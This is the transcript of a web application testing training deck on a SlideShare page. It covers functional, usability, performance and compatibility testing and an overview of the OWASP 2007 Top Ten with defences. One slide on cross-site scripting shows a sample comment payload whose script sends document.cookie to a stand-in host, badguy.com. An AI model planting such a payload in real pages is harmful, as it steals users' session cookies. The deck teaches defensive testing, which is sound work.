• Save
Web Application Testing
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

Web Application Testing

on

  • 1,477 views

 

Statistics

Views

Total Views
1,477
Views on SlideShare
1,477
Embed Views
0

Actions

Likes
2
Downloads
0
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment
  • Some good video tutorials about how this attack is executed: http://www.virtualforge.de/vmovie.php
  • Example Session ID using cookieSet-Cookie:siteid=91d3dc13713aa579d0f148972384f4; path=/; expires=Wednesday, 22-Oct-2006 02:12:40domain=.www.rd1.net secureCookie:siteid=91d3dc13713aa579d0f148972384f4

Web Application Testing Presentation Transcript

  • 1. Web Application Testing Richa Goel
  • 2. Agenda Introduction to Web Application Testing • What is Web Application testing? • Web Application testing challenges • Functionality testing • W3C Link checker • User Interface testing • Usability testing • When Usability testing should be done2 Richa Goel 9/22/2012
  • 3. Agenda •Compatibility testing • Security testing • Understanding of various threats related to Web application • Overview of OWASP Top 10 • WASC Top 20 • Accessibility testing3 Richa Goel 9/22/2012
  • 4. Introduction Web-based applications present new challenges, both for developers and testers. These challenges include:  Short releases cycles  Constantly changing technology  Possible huge number of users during initial website launch  Inability to control the user‘s running environment  24-hour availability of the website Any difficulty in response time, accuracy, or ease of use will make the user to click on a competitors site.4 Richa Goel 9/22/2012
  • 5. Testing Concepts  WebApp testing  A collection of related activities to uncover errors  Content (Data)  Capability (functionality)  Quality (non-functionality)5 Richa Goel 9/22/2012
  • 6. Testing Concepts  Who does it?  Web designer (or engineer)  Why is important?  Customers loss confidence  Business loss because customer may go to different sites6 Richa Goel 9/22/2012
  • 7. Web Applications: Characteristics  Web applications employ a number of new languages, technologies, and programming models.  Modern Web applications are sophisticated, interactive programs with complex GUIs and numerous back-end software components that are integrated in novel and interesting ways.  Web applications are much more complicated than simple HTML Web pages, and consist of more than just the front-end graphical user7 interfaces that users see. Richa Goel 9/22/2012
  • 8. Web-Based, Multi-Tiered Architecture8 Richa Goel 9/22/2012
  • 9. Web Application Quality Web Quality Efficiency Usability Functionality Reliability Maintainability Security Response Researching Time, Correct link Ease of simplicity retrieving Pg generation processing correction speed Graphic Navigation ErrorHelp feature generation adaptability /browsing recovery speed GUI & Special I/O validation extensibility Aesthetic features 9/22/2012 Richa Goel 9
  • 10. The Need for Web Testing  Is the site content meaningful?  Is this application easy to use?  How about browser compatibilities?  How reliable is our technology?  Do the Servers have enough power?  How many visitors are we expecting?  Are the machines fast enough?  How much activity can the site handle?10 Richa Goel 9/22/2012
  • 11. Testing Static Hyper Text Web Sites  This is not program testing, but checking that all the HTML connections are valid  The main issue to test for is dead links  We should also evaluate  Load testing  Performance evaluation  Access control issues  The usual model is that of a graph  Nodes are web pages  Edges are HTML links11 Richa Goel 9/22/2012
  • 12. Efficiency vs. Usability  If the user can‘t perform a task, # of clicks irrelevant  Design for usability first, efficiency second  Efficiency is meaningful for repetitive tasks  How many times a day will user‘s use your site?  How many times a day will user‘s do the same exact thing on your site?12 Richa Goel 9/22/2012
  • 13. Functional and Usability Issues The first tests for a website should focus on the site‘s intended behavior by assessing the following issues:  Functionality  Usability  Navigation  Forms  Page content13 Richa Goel 9/22/2012
  • 14. Functional Testing  Functional testing involves making sure features that most affect user interactions work properly. These include:  Forms  Searches  Popup windows  Shopping carts  Online payments  Functional testing evaluates the content of dynamically generated pages and verifies many behind the scene (connections to database)14 Richa Goel 9/22/2012
  • 15. Functional Testing  Test the outgoing links  Test all internal links.  Test links jumping on the same pages.  Broken Link or Dead Links is a hyperlink which does not work, for example because the target file is missing, has been moved, or has no public read permission. A Broken Link within a website is a link which could not be followed.15 Richa Goel 9/22/2012
  • 16. Usability Testing  Usability testing assesses the website‘s user friendliness and suitability by gathering information about how users interact with the site.  The key to usability testing is to study what a user actually does.  Usability testing steps:  Identify the website‘s purpose  Identify the intended users  Define tests and conduct the usability testing  Analyze the acquired information16 Richa Goel 9/22/2012
  • 17. Formal vs. Informal Testing Formal testing might entail building a usability testing lab, equipping it with an array of computers, audio-video equipment, then staffing it with psychologists, technicians, and human- computer interaction specialists
  • 18. Formal vs. Informal Testing Informal approach: No fancy lab or expensive equipment A simple test plan and task list are prepared, notepad and pencil Participants are observed by an impartial moderator The advantage is that informal testing looks at what people actually do when they are doing real work in an ordinary setting
  • 19. User Interface Testing  Interface features are tested to ensure that design rules, aesthetics, and related visual content is available for the user without error.  Individual interface mechanisms are tested in a manner that is analogous to unit testing.  Each interface mechanism is tested within the context of a use- case or NSU for a specific user category.  The complete interface is tested against selected use-cases and NSUs to uncover errors in the semantics of the interface.  The interface is tested within a variety of environments (e.g., browsers) to ensure that it will be compatible.19
  • 20. Navigation Testing  Good navigation is an essential part of a website, especially those that are complex and provide a lot of information.  Most users expect the following:  Easy and quick access to the information they want  Logical hierarchy of pages  Confirmation of where they are at any point  Facility to return to previous states or the homepage  Consistent look and layout of every page  Uncluttered pages20 Richa Goel 9/22/2012
  • 21. Forms Testing  Websites that use forms need to be tested to ensure that each field works properly and that the form posts all data as intended by the designers.  Testing forms include the following actions:  Using the tab key to verify that the form traverses fields in the proper order, both forward and backward  Testing boundary values  Checking that forms traps invalid data correctly, especially data and numeric formats  Verifying that the form updates information correctly21 Richa Goel 9/22/2012
  • 22. Page Content Testing  Each web page must be tested for correct content from the user perspective.  These test fall into two categories:  Ensuring that each component functions correctly  Ensuring that the content of each is correct22 Richa Goel 9/22/2012
  • 23. Navigation Testing  The following navigation mechanisms should be tested:  Navigation links—these mechanisms include internal links within the WebApp, external links to other WebApps, and anchors within a specific Web page.  Redirects—these links come into play when a user requests a non-existent URL or selects a link whose destination has been removed or whose name has changed.  Bookmarks—although bookmarks are a browser function, the WebApp should be tested to ensure that a meaningful page title can be extracted as the bookmark is created.  Frames and framesets—tested for correct content, proper layout and sizing, download performance, and browser compatibility  Site maps—Each site map entry should be tested to ensure that the link takes the user to the proper content or functionality.  Internal search engines—Search engine testing23 validates the accuracy and completeness of the search, the error-handling properties of the search engine, and
  • 24. Exercise 1  Explore ―GMAIL‖ application .Write 2 test cases on each of the following parameters. ---Usability ---Accessibility ---User Interface ---Cross Browser Compatibility24 Richa Goel 9/22/2012
  • 25. Configuration and Compatibility Testing A key challenge in web applications is ensuring that the user sees a web page as the designer intended:  The user can select different browser software and browsers options.  Use different network software and online service  Run concurrent applications Compatibility testing ensures product functionality and reliability on the supported browsers and platforms that exist on the customer computer.25 Richa Goel 9/22/2012
  • 26. Configuration and Compatibility Testing (Cont.)  Guideline for testing web applications (by listing the platform and browser environments to be tested).26 Richa Goel 9/22/2012
  • 27. Compatibility testing WebApp must work within different environments  Different computers  Display devices  Different OS  Different Browsers
  • 28. Reliability and Availability  A key requirement of a website is that:  It is available whenever the user requests it, often 24 hours a day, every day.  The number of users accessing a website simultaneously may also affect the site‘s availability.  To assess availability, the tester must build tests around anticipated usage spikes which can include:  For store applications: promotional campaigns and sales  For business cycles: month-end and quarter-end dates  For banking applications: direct deposit dates  During maintenance: required downtime for backups, upgrades, and other operations.28 Richa Goel 9/22/2012
  • 29. Performance  Performance testing evaluates system performance under normal and heavy usage.  Website performance is crucial to the success of any web application.  Performance tests:  Scalability testing  Load testing  Stress testing29 Richa Goel 9/22/2012
  • 30. Performance: Scalability Testing  Scalability concerns the website‘s ability to handle the volumes and types of activities that can occur after launch.  The following types of scenarios affect scalability:  How closely the test environment matches the production environment  Millions of users accessing the site during launch  Activity spikes due to marketing promotions30 Richa Goel 9/22/2012
  • 31. Performance: Load Testing  The purpose of load testing is to model real world experiences, typically by generating many simulations users accessing the website.  Load testing may need to be repeated at least once.31 Richa Goel 9/22/2012
  • 32. Load Testing  The intent is to determine how the WebApp and its server- side environment will respond to various loading conditions  N, the number of concurrent users  T, the number of on-line transactions per unit of time  D, the data load processed by the server per transaction  Overall throughput, P, is computed in the following manner:  P= NxTxD32
  • 33. Plan Load Test System Usage Information  Task Distribution Diagram  which business tasks?  how many operations at what times of the day?  Transaction Profile  how many operations on average, how many at peaks?  how much database activity?  how much risk to business if task fails?  User Profile  which tasks does each real user perform?  what is ratio of different tasks for each user? 9/22/2012
  • 34. Why Load Test Your Web Application? Why Load Test Your Web Application?  The failure of a mission-critical web application can be costly  don‘t just cross your fingers  Deploy with confidence  assure performance and functionality under real-world conditions 9/22/2012
  • 35. Performance: Stress Testing Stress testing consists of subjecting the system to varying and maximum loads to evaluate the resulting performance. Stress testing can be automated. Tools can report the following type of information:  Number of requests, transactions and kilobyte/second  Round trip time (time from the user makes a request to the time that the users receives the result)  Number of concurrent connections  Degradation of performance  Types of visitors to the site and their number35 Richa Goel 9/22/2012  CPU and memory usage of the application server
  • 36. Security Testing  Security is a primary concern when communicating and conducting business especially sensitive and business critical transactions over the internet.  Regardless whether the application requires the user to enter a password to access the website, the tester must check for internet threats.36 Richa Goel 9/22/2012
  • 37. W3C Link Checker Tool  The W3C Link Checker checks that all the links in your HTML document are valid.  A first version was developed in August 1998.  Since it was lacking some functionalities, it was rewrote more or less from scratch in November 1999.  There is a command-line interface and an online version.  The Link Checker can easily be installed on ones server.  This is an open source tool.37 Richa Goel 9/22/2012
  • 38. W3C Link Checker: What it does?  The link checker reads an HTML or XHTML document or a CSS style sheet and extracts a list of anchors and links.  It checks that no anchor is defined twice.  It then checks that all the links are de-referenceable, including the fragments.  It warns about HTTP redirects, including directory redirects.  It can check recursively a part of a Web site.  This Link Checker looks for issues in links, anchors and referenced objects in a Web page, CSS style sheet, or recursively on a whole Web site.  For best results, it is recommended to first ensure that38 the documents checked use Valid (X)HTML Markup Richa Goel 9/22/2012 and CSS
  • 39. Exercise 2: W3C Linker  Open link : validator.w3.org  Check for the site: www.mercury-tours.com/  Get the report and study it.39 Richa Goel 9/22/2012
  • 40. Challenges in Testing Web Applications40 Richa Goel 9/22/2012
  • 41. Testing Web Apps is Different  Web Apps are exposed to wide range of security threats.  They may open up illegal points of entry to the database.  Test Cases should be written covering the different scenarios not only of functional usage but also technical consideration such as Network speeds, screen resolution etc.  Web Apps are known to give error on slow networks, whereas they perform well on high speed connections.41  Images take longer time to download in slower Richa Goel 9/22/2012
  • 42. Issues in Testing Web Software  A web application is a program that is deployed on the web  Usually uses HTML as the user interface  Web-deployment means they are available worldwide  They accept requests through HTTP and return responses  HTTP is stateless – each request/response pair is independent  Web applications are usually very competitive  A web service is a web-deployed program that accepts XML messages wrapped in SOAP  Usually no UI with humans42 Richa Goel 9/22/2012  Service must be published so other services and
  • 43. Challenges in Web Testing  One of the key strategic challenges of Web testing is the dominance of change.  The technology is everchanging;  The platform and configuration are ever-changing  The business model is ever-changing  The customer base and their expectations are ever- changing Leads to multiple changes in requirements and User Interface43 Richa Goel 9/22/2012
  • 44. Web-Testing: Challenges  Main difficulty to localize errors due to  OS  NETWORK  HW/SW44 Richa Goel 9/22/2012
  • 45. Challenges in Testing Web Apps  Numerous Application Usage (Entry – Exit) Paths are possible  People with varying backgrounds & technical skills may use the application  Intranet versus Internet based Applications  The end users may use different types of browsers to access the app  Network speeds  Security Aspects45 Richa Goel 9/22/2012
  • 46. Numerous Application Usage (Entry – Exit) Paths are possible  Due to the design and nature of the web applications it is possible that different users follow different application usage paths.  For example in an online banking application a user may directly go to ―Bill Pay‖ page and other users may check account balances, view previous transactions and then ―Pay the Bills‖. Generally a large number of usage paths are possible and all are supposed to work well. All these Permutations and Combinations need to be tested thoroughly46 Richa Goel 9/22/2012
  • 47. People with varying backgrounds & technical skills may use the application  Not all applications are self explanatory to all people. People have varying backgrounds and may find the application hard to use. For instance a Business Intelligence application with ―Drill- Down-Reports‖ may work out for certain users but not for others.  Although this affects the design of the applications, but these factors should be tested in usability testing of the applications47 Richa Goel 9/22/2012
  • 48. Intranet versus Internet based Applications  Intranet based applications generally cater to a controlled audience. The developers and architects can make accurate assumptions about the people accessing the apps and the hardware/software/technical specifications of the client machines.  While it may be difficult to make similar assumptions for Internet Based Applications. Also the intranet users can generally access the app from ‗trusted‘ sources whereas for internet applications the users may need to be authenticated and the security measures may have to be much more stringent.  Test Cases need to be designed to test the various scenarios and risks involved.48 Richa Goel 9/22/2012
  • 49. The end users may use different types of browsers to access the app  Typically for internet based applications users may have different Browsers when accessing the apps. This aspect also needs to be tested. If we test the app only on IE then we cannot ensure if works well on Netscape or Fire-Fox. Because these browsers may not only render pages differently but also have varying levels of support for client side scripting languages such as java- script.  The end users may use different types of browsers to access the app49 Richa Goel 9/22/2012
  • 50. Network speeds  Slow Network speeds may cause the various components of a Webpage to be downloaded with a time lag. This may cause errors to be thrown up.  The testing process needs to consider this as important factor specially for Internet based Applications50 Richa Goel 9/22/2012
  • 51. Security Aspects  If the Application captures certain personal or sensitive information, it may be crucial to test the security strength of the application. Sufficient care need to be taken that the security of the data is not compromised.51 Richa Goel 9/22/2012
  • 52. How to test a website Easiest way to start is by treating the web site as a black box.  Look at a sample website such as www.apple.com to get a sense of the scale of such an endeavor.  Treat each page as a state with hyperlinks as state transitions.
  • 53. Website text Web page text should be treated like documentation and tested using the techniques we described previously. Check for …  correctness of contact information e.g., phone numbers, addresses  correctness of dates and copyright notices  title bar text, bookmark text on browser‘s favorites  correctness of the ALT text (i.e., mouse over text)  layout issues when browser window is resized
  • 54. Website hyperlinks Each link should be checked to make sure it jumps to the correct destination or website. Ensure that hyperlinks are obvious:  E.g., underlined text, mouse pointer changes If the link opens an e-mail message, test it  Send an e-mail and verify that you get a response. Check for orphan pages that are part of the website but cannot be accesses through a hyperlink.  Someone forgot to create the link  Might be intentional … Google will find it, though
  • 55. Website graphics Do all graphics load and display properly? Is a graphic missing or incorrectly named? Does the website intermix text and graphics?  Does the text wrap around the graphics?  What happens when the browser window is re- sized? Does the page load fast enough?  Are there too many graphics?  Did you try to test the website on a dialup connection instead of a high-speed LAN?
  • 56. Website forms Forms are the text boxes, list boxes, and other fields for entering and selecting information on the web page. Are the form fields positioned properly? Are the fields the correct size? Do they accept correct data? Do they reject bad data? Are optional fields really optional? A favorite entry point for buffer overflow attacks (more on this later).
  • 57. Exercise 3  What are different types of objects that needs to be tested while doing functional testing of a web site.57 Richa Goel 9/22/2012
  • 58. OWASP 2007 Top Ten List A1. Cross-Site Scripting (XSS) A2. Injections Flaws A3. Malicious File Execution A4. Insecure Direct Object Reference A5. Cross Site Request Forgery (CSRF) A6. Information Leakage & Improper Error Handling A7. Broken Authentication & Session Management A8. Insecure Cryptographic Storage A9. Insecure Communications58 A10. Failure to Restrict URL Access
  • 59. A1. Cross-Site Scripting (XSS) Flaws OWASP Definition XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. XSS allows attackers to execute script in the victims browser which can hijack user sessions, deface web sites, possibly introduce worms, etc.59
  • 60. A1. Cross-Site Scripting (XSS) Attacks Example Comment embedded with JavaScript comment=“Nice site! <SCRIPT> window.open( http://badguy.com/info.pl?document.cook ie </SCRIPT>”60
  • 61. A1. Cross-Site Scripting (XSS)  Occurs when an attacker can manipulate a Web application to send malicious scripts to a third party.  This is usually done when there is a location that arbitrary content can be entered into (such as an e-mail message, or free text field for example) and then referenced by the target of the attack.  The attack typically takes the form of an HTML tag (frequently a hyperlink) that contains malicious scripting (often JavaScript).  The target of the attack trusts the Web application and thus XSS attacks exploit that trust to do things that would not normally be allowed.61
  • 62. XSS - Protection Protect your application from XSS attacks  Filter output by converting text/data which might have dangerous HTML characters to its encoded format:  < and > to &lt; and &gt;’  ( and ) to &#40; and &#41;’  # and & to &#35; and &#38;‘  Recommend filtering on input as much as possible. (some data may need to allow special characters.)62
  • 63. A2. Injections Flaws OWASP Definition: Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when user-supplied data is sent to an interpreter as part of a command or query. The attacker’s hostile data tricks the interpreter into executing unintended commands or changing data.63
  • 64. A2. Injections Flaws Some common types of command injection flaws include:  SQL injection (malicious calls to backend databases via SQL), using shell commands to run external programs  Using system calls to in turn make calls to the operating system. Any Web application that relies on the use of an interpreter has the potential to fall victim to this type of flaw64
  • 65. A2. Injections Flaws: Protection  Use language specific libraries to perform the same functions as shell commands and system calls  Check for existing reusable libraries to validate input, and safely perform system functions, or develop your own.  Perform design and code reviews on the reusable libraries to ensure security. Other common methods of protection include:  Use stored Procedures  Data validation (to ensure input isnt malicious code),  Run commands with very minimal privileges  If the application is compromised, the damage will be minimized.65
  • 66. A3. Malicious File Execution OWASP Definition: Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.66
  • 67. A3. Malicious File Execution  Applications which allow the user to provide a filename, or part of a filename are often vulnerable if input is not carefully validated.  Allowing the attacker to manipulate the filename may cause application to execute a system program or external URL.  Applications which allow file uploads have additional risks  Place executable code into the application  Replace a Session file, log file or authentication token67
  • 68. A3. Malicious File Execution Protection  Do not allow user input to be used for any part of a file or path name.  Where user input must influence a file name or URL, use a fully enumerated list to positively validate the value.  File uploads have to be done VERY carefully.  Only allow uploads to a path outside of the webroot so it can not be executed  Validate the file name provided so that a directory path is not included.  Implement or enable sandbox or chroot controls which limit the applications access to files.68
  • 69. A4. Insecure Direct Object Reference OWASP Definition: A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization.69
  • 70. A4. Insecure Direct Object Reference  Applications often expose internal objects, making them accessible via parameters.  When those objects are exposed, the attacker may manipulate unauthorized objects, if proper access controls are not in place.  Internal Objects might include  Files or Directories  URLs  Database key, such as acct_no, group_id etc.  Other database object names such as table name70
  • 71. A4. Insecure Direct Object Reference Protection  Do not expose direct objects via parameters  Use an indirect mapping which is simple to validate.  Consider using a mapped numeric range, file=1 or 2…  Re-verify authorization at every reference.  For example: 1. Application provided an initial lists of only the authorized options. 2. When user‘s option is ―submitted‖ as a parameter, authorization must be checked again.71
  • 72. A5. Cross Site Request Forgery (CSRF) OWASP Definition: A CSRF attack forces a logged-on victim’s browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim’s browser to perform a hostile action to the benefit of the attacker. CSRF can be as powerful as the web application that it attacks.72
  • 73. A5. Cross Site Request Forgery (CSRF)  Applications are vulnerable if any of following:  Does not re-verify authorization of action  Default login/password will authorize action  Action will be authorized based only on credentials which are automatically submitted by the browser such as session cookie, Kerberos token, basic authentication, or SSL certificate etc.73
  • 74. A5. Cross Site Request Forgery (CSRF) Protection  Eliminate any Cross Site Scripting vulnerabilities  Not all CSRF attacks require XSS  However XSS is a major channel for delivery of CSRF attacks  Generate unique random tokens for each form or URL, which are not automatically transmitted by the browser.  Do not allow GET requests for sensitive actions.  For sensitive actions, re-authenticate or digitally sign the transaction.74
  • 75. A6. Information Leakage & Improper Error Handling OWASP Definition: Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal sensitive data or conduct more serious attacks.75
  • 76. Improper Error Handling: Protection  Prevent display of detailed internal error messages including stack traces, messages with database or table names, protocols, and other error codes. (This can provide attackers clues as to potential flaws.)  Good error handling systems should always enforce the security scheme in place while still being able to handle any feasible input.  Provide short error messages to the user while logging detailed error information to an internal log file.  Diagnostic information is available to site maintainers  Vague messages indicating an internal failure provided to the users  Provide just enough information to allow what is reported by the user to be able to linked the internal error logs. For example: System Time- stamp, client IP address, and URL76
  • 77. Information Leakage - Example  Sensitive information can be leaked very subtlety  Very Common Example - Account Harvesting  App. responds differently to a valid user name with an invalid password, then it would to a invalid user name  Web application discloses which logins are valid vs. which are invalid, and allows accounts to be guessed and harvested.  Provides the attacker with an important initial piece of information, which may then be followed with password guessing.  Difference in the Web App response may be:  Intentional (Easier to for users to tell then the account name is wrong)  Different code included in URL, or in a hidden field  Any minor difference in the HTML is sufficient  Differences in timing are also common and may be used!77
  • 78. Information Leakage: Protections  Ensure sensitive responses with multiple outcomes return identical results  Save the the different responses and diff the html, the http headers & URL.  Ensure error messages are returned in roughly the same time or consider imposing a random wait time for all transactions to hide this detail from the attacker.78
  • 79. A7. Broken Authentication and Session Management OWASP Definition: Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users’ identities.79
  • 80. Session Management  HTTP/S protocol does not provide tracking of a users session.  Session tracking answers the question:  After a user authenticates how does the server associate subsequent requests to the authenticated user?  Typically, web application vendors provide a built-in session tracking, which is good if used properly.  Often developers will make the mistake of inventing their own session tracking.80
  • 81. Session Management (Session IDs) A Session ID  Unique to the User  Used for only one authenticated session  Generated by the server  Sent to the client as  Hidden variable,  HTTP cookie,  URL query string (not a good practice)  The user is expected to send back the same ID in the next request.81
  • 82. Session Management (Session Hijacking)  Session ID is disclosed or is guessed.  An attacker using the same session ID has the same privileges as the real user.  Especially useful to an attacker if the session is privileged.  Allows initial access to the web application to be combined with other attacks.82
  • 83. Session Management: Protection  Use long complex random session ID that cannot be guessed.  Protect the transmission and storage of the Session ID to prevent disclosure and hijacking.  A URL query string should not be used for Session ID or any User/Session information  URL is stored in browser cache  Logged via Web proxies and stored in the proxy cache83
  • 84. Session Management: Protection  Entire session should be transmitted via HTTPS to prevent disclosure of the session ID. (not just the authentication)  Avoid or protect any session information transmitted to/from the client.  Session ID should expire and/or time-out on the Server when idle or on logout.  Client side cookie expirations useful, but should not be trusted.  Consider regenerating a new session upon successful authentication or privilege level change.84
  • 85. Broken Account ManagementEven valid authentication schemes can be undermined by flawedaccount management functions including:  Account update  Forgotten password recovery or reset  Change password, and other similar functions
  • 86. Broken Account and Session Management: Protection  Password Change Controls - require users to provide both old and new passwords  Forgotten Password Controls - if forgotten passwords are emailed to users, they should be required to re-authenticate whenever they attempt to change their email address.  Password Strength - require at least 7 characters, with letters, numbers, and special characters both upper case and lower case.  Password Expiration - Users must change passwords every 90 days, and administrators every 30 days.86
  • 87. A8. Insecure Cryptographic Storage OWASP Definition: Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.87
  • 88. A8. Insecure Cryptographic Storage  The majority of Web applications in use today need to store sensitive information (passwords, credit card numbers, proprietary information, etc.) in a secure fashion.  The use of encryption has become relatively easy for developers to incorporate.  Proper utilization of cryptography, however, can remain elusive by developers overestimating the protection provided by encryption, and underestimating the difficulties of proper implementation and protecting the keys.88
  • 89. Insecure Cryptographic Storage: Common Mistakes  Improper/insecure storage of passwords, certifications, and keys  Poor choice of algorithm  Poor source of randomness for initialization vectors  Attempting to develop a new encryption scheme "in house” (Always a BAD idea)  Failure to provide functionality to change encryption keys89
  • 90. Insecure Cryptographic Storage: Protection  Avoiding storing sensitive information when possible  Use only approved standard algorithms  Use platform specific approved storage mechanisms  Ask, read and learn about coding Best Practices for your platform  Careful review of all system designs  Source code reviews90
  • 91. A9. Insecure Communications OWASP Definition: Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications.91
  • 92. Insecure Communications  Failure to encrypt network traffic leaves the information available to be sniffed from any compromised system/device on the network.  Switched networks do not provide adequate protection.92
  • 93. Insecure Communications: Protection  Use SSL/TLS for ALL connections that are authenticated or transmitting sensitive information  Use SSL/TLS for mid-tier and internal network communications between Web Server, Application and database.  Configure Desktop Clients and Servers to ensure only SSLv3 and TLSv1 are used with strong ciphers.  Use only valid trusted SSL/TLS certificates and train users to expect valid certificates to prevent Man-in- the-Middle attacks.93
  • 94. A10. Failure to Restrict URL Access OWASP Definition: Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly.94
  • 95. A10. Failure to Restrict URL Access  When the application fails to restrict access to administrative URLs, the attacker can access normally unauthorized areas by type in the URL’s into the browser.  Surprisingly common, for example:  add_account_form.php - checks for admin access before displaying the form.  Form then posts to add_acct.php which does the work, but doesn’t check for admin privileges!  Consistent URL access control has to be carefully designed.95
  • 96. A10. Failure to Restrict URL Access : Protection Start Early!  Create an application specific security policy during the requirements phase.  Document user roles as well as what functions and content each role is authorized to access.  Specifying access requirements up front allows simplification of the design  If your access control is not simple it wont be secure.96
  • 97. A10. Failure to Restrict URL Access: Protection Test Thoroughly!  Conduct extensive regression testing to ensure the access control scheme cannot be bypassed  Test all invalid access attempts as well as valid access.  Dont follow the normal application flow.  Verify that all aspects of user management have been taken under consideration including scalability and maintainability.97
  • 98. Summary  To ensure that sufficient Test Coverage is provided for Web Based Applications and to provide a secure, reliable application to the user the above factors need to be considered.  For internet based applications accessibility and security can be important issues.  On one hand Organizations would like to cater to their users around the world on the other hand they could end up exposing their security holes all over.  Testing could be the last chance to ensure the safety of the data and the organization.98 Richa Goel 9/22/2012
  • 99. Key Points Testing web applications present new challenges. Functional and usability tests focus on the site‘s intended behavior:  Functional testing asserts whether the main features function correctly.  Usability testing evaluates whether a site is user friendly by observing users as they interact with the site.  Testing a form ensures that each field works properly.  Navigation testing ensures that the user can accomplish the desired tasks by verifying access to pages, images, links, and other page components.  Testing page content ensures that the information provided99 by the website is correct. Richa Goel 9/22/2012
  • 100. Key Points (Cont.) Configuration and compatibility testing make sure that the application functions correctly across the various hardware and software environments. Reliability and availability testing assesses whether the website is accessible whenever the users request it by testing around anticipated peak usage such as marketing promotions and high-activity cycles.100 Richa Goel 9/22/2012
  • 101. Key Points (Cont.) Performance testing ensures that the website server responds to browser requests within defined parameters. As part of performance testing:  Scalability testing assesses the websites ability to meet the load requirements.  Load testing evaluates how the system functions when processing many simultaneous requests from a multitude of users.  Stress testing subjects the system to varying loads. Security testing aims to check for internet threats or protect sensitive information.101 Richa Goel 9/22/2012
  • 102. Key Points (Cont.)  End-to-end transaction testing tests all parts that make up a particular transaction by following a customers workflow from entering to leaving the site.  Database testing verifies the integrity, validity and manipulation and updates of the data.  Post-implementation testing verifies an applications behavior in the production environment.102 Richa Goel 9/22/2012
  • 103. goel.richa15@gmail.comIn case of any future queries, you can contact on above email address.Richa103 Goel 9/22/2012